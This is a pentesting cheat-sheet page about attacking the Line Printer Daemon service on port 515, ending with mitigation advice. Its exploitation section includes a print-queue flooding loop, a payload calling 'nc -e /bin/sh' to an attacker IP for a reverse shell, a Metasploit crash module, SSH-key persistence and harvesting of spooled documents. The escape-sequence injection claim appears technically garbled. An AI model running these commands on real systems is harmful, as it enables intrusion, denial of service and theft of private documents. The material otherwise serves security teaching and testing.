πŸ•΅οΈ
VeryLazyTech
πŸ“œ MediumπŸ›’ My ShopπŸ‘Ύ GithubπŸ“© Telegram πŸ“Ί YouTubeβœ– Twitter
  • πŸ•΅οΈWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • πŸ‘Ύ GitHub
      • πŸ“œ Medium
      • β˜• My Shop
      • πŸ“Ί YouTube
      • βœ– Twitter
      • πŸ“© Telegram
  • πŸ›‘οΈ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCβ€Š-β€ŠCVE-2025–2539 File Away <= 3.9.9.0.1β€Š-β€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • πŸ•΅οΈβ€β™‚οΈDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • πŸ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • πŸ•ΈοΈPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • πŸͺŸWindows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows andΒ Linux
  • πŸ§‘β€πŸ”§Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic Info
  • How to Connect
  • Reconnaissance (Recon)
  • Enumeration
  • Attack Vector
  • Exploitation
  • Tools Used
  • Post-Exploitation
  • Mitigation & Defense

Was this helpful?

  1. Network Pentesting

Line Printer Daemon (LPD) - Port 515

PreviousRsh - Port 514NextApple Filing Protocol (AFP) - PORT 548

Last updated 2 months ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • βœ– Twitter .

    • πŸ‘Ύ Github .

    • πŸ“œ Medium .

    • πŸ“Ί YouTube .

    • πŸ“© Telegram .

    • πŸ•΅οΈβ€β™‚οΈ My Site .

  • Visit our for e-books and courses. πŸ“š

Basic Info

  • Port Number: 515

  • Service: Line Printer Daemon (LPD)

  • Common Usage: LPD is a network printing protocol used to manage print jobs on UNIX and Linux systems. It allows remote computers to submit print jobs to a central print server.

  • Default State: Open on many older UNIX/Linux distributions, but often disabled in modern systems.

  • Security Concerns:

    • Lacks authentication, allowing unauthorized access if improperly configured.

    • Susceptible to command injection and buffer overflow attacks.

    • Can be used for denial-of-service (DoS) attacks by sending large or malformed print jobs.

    • Print job manipulation may allow sensitive document interception.


How to Connect

Manually Connecting to LPD

LPD listens on port 515 and operates by receiving print job commands. You can interact with it manually using netcat or telnet:

nc -v [Target-IP] 515

If the connection is successful, LPD is running and ready for further enumeration.

You can also check the /etc/printcap file (if accessible) to see available printers:

cat /etc/printcap

Reconnaissance (Recon)

Scanning for Port 515

Use Nmap to detect if the LPD service is running:

nmap -p 515 -sV -T4 [Target-IP]

Expected output:

515/tcp open  printer  Line Printer Daemon (LPD)

For a deeper scan using NSE scripts:

nmap --script=lpd-enum -p 515 [Target-IP]

This will attempt to enumerate available printers and configurations.


Enumeration

Checking Printer Queues

If LPD is running, you can list print queues using:

lpq -S [Target-IP]

If no authentication is required, this command may reveal active print jobs.

Enumerating Available Printers

Try checking the configuration of remote printers:

lpstat -v -h [Target-IP]

If a printer is misconfigured, it might allow arbitrary command execution.


Attack Vector

  • Anonymous Printing Abuse – If LPD is open and does not require authentication, an attacker can send unlimited print jobs, leading to resource exhaustion (Denial of Service).

  • Command Injection in Print Jobs – Certain LPD implementations allow escape sequences that can lead to remote code execution.

  • Directory Traversal – Some older LPD implementations allow path traversal, enabling an attacker to overwrite files outside the spool directory.

  • Print Job Interception – If an attacker gains access, they may be able to capture sensitive documents submitted for printing.


Exploitation

Exploiting Open Print Queue for DoS

Send a large number of print jobs to overwhelm the system:

for i in {1..1000}; do
  echo "Fake print job $i" | lpr -S [Target-IP] -P [Printer-Name]
done

This fills the print queue, preventing legitimate users from printing.

Command Injection via LPD Escape Sequences

Some LPD services allow malicious escape sequences that execute shell commands. Try submitting a print job with a malicious payload:

echo -e "\033[31m$(nc -e /bin/sh [Attacker-IP] 4444)\033[0m" | lpr -S [Target-IP] -P [Printer-Name]

If successful, this opens a reverse shell on the target system.

Metasploit Exploit for LPD

Metasploit has modules that can exploit LPD misconfigurations:

use auxiliary/dos/lpd/lpd_crash
set RHOSTS [Target-IP]
exploit

This attempts to crash the LPD service.


Tools Used

  • Nmap – Scanning and service detection

  • LPQ / LPSTAT – Printer queue enumeration

  • Netcat (nc) – Manual interaction and exploitation

  • Hydra – Brute-force login attempts (if authentication is enabled)

  • Metasploit – LPD-specific exploits and auxiliary modules

  • Burp Suite – If a web-based printer management interface is available


Post-Exploitation

Privilege Escalation

If you gain access through LPD, check for SUID binaries to escalate privileges:

find / -perm -4000 -type f 2>/dev/null

Maintaining Access

To maintain persistence, add an SSH key to the target machine:

echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

Extracting Sensitive Print Jobs

If access is gained, look for spool files that contain document data:

ls -lah /var/spool/lpd/

Print jobs often contain PII (Personally Identifiable Information) or sensitive corporate data.


Mitigation & Defense

To secure against LPD exploitation: βœ… Disable LPD if not required:

systemctl stop lpd
systemctl disable lpd

βœ… Restrict access using firewall rules:

iptables -A INPUT -p tcp --dport 515 -s [Trusted-IP] -j ACCEPT
iptables -A INPUT -p tcp --dport 515 -j DROP

βœ… Enforce authentication for print jobs and disable guest access. βœ… Use modern alternatives like CUPS (Common Unix Printing System) with encrypted communication.


Support VeryLazyTech πŸŽ‰
  • Follow us on:

Learn & practice

Become VeryLazyTech ! 🎁

βœ– Twitter .

πŸ‘Ύ Github .

πŸ“œ Medium .

πŸ“Ί YouTube .

πŸ“© Telegram .

πŸ•΅οΈβ€β™‚οΈ My Site .

Visit our for e-books and courses. πŸ“š

🌐
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
For the Bug Bounty
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop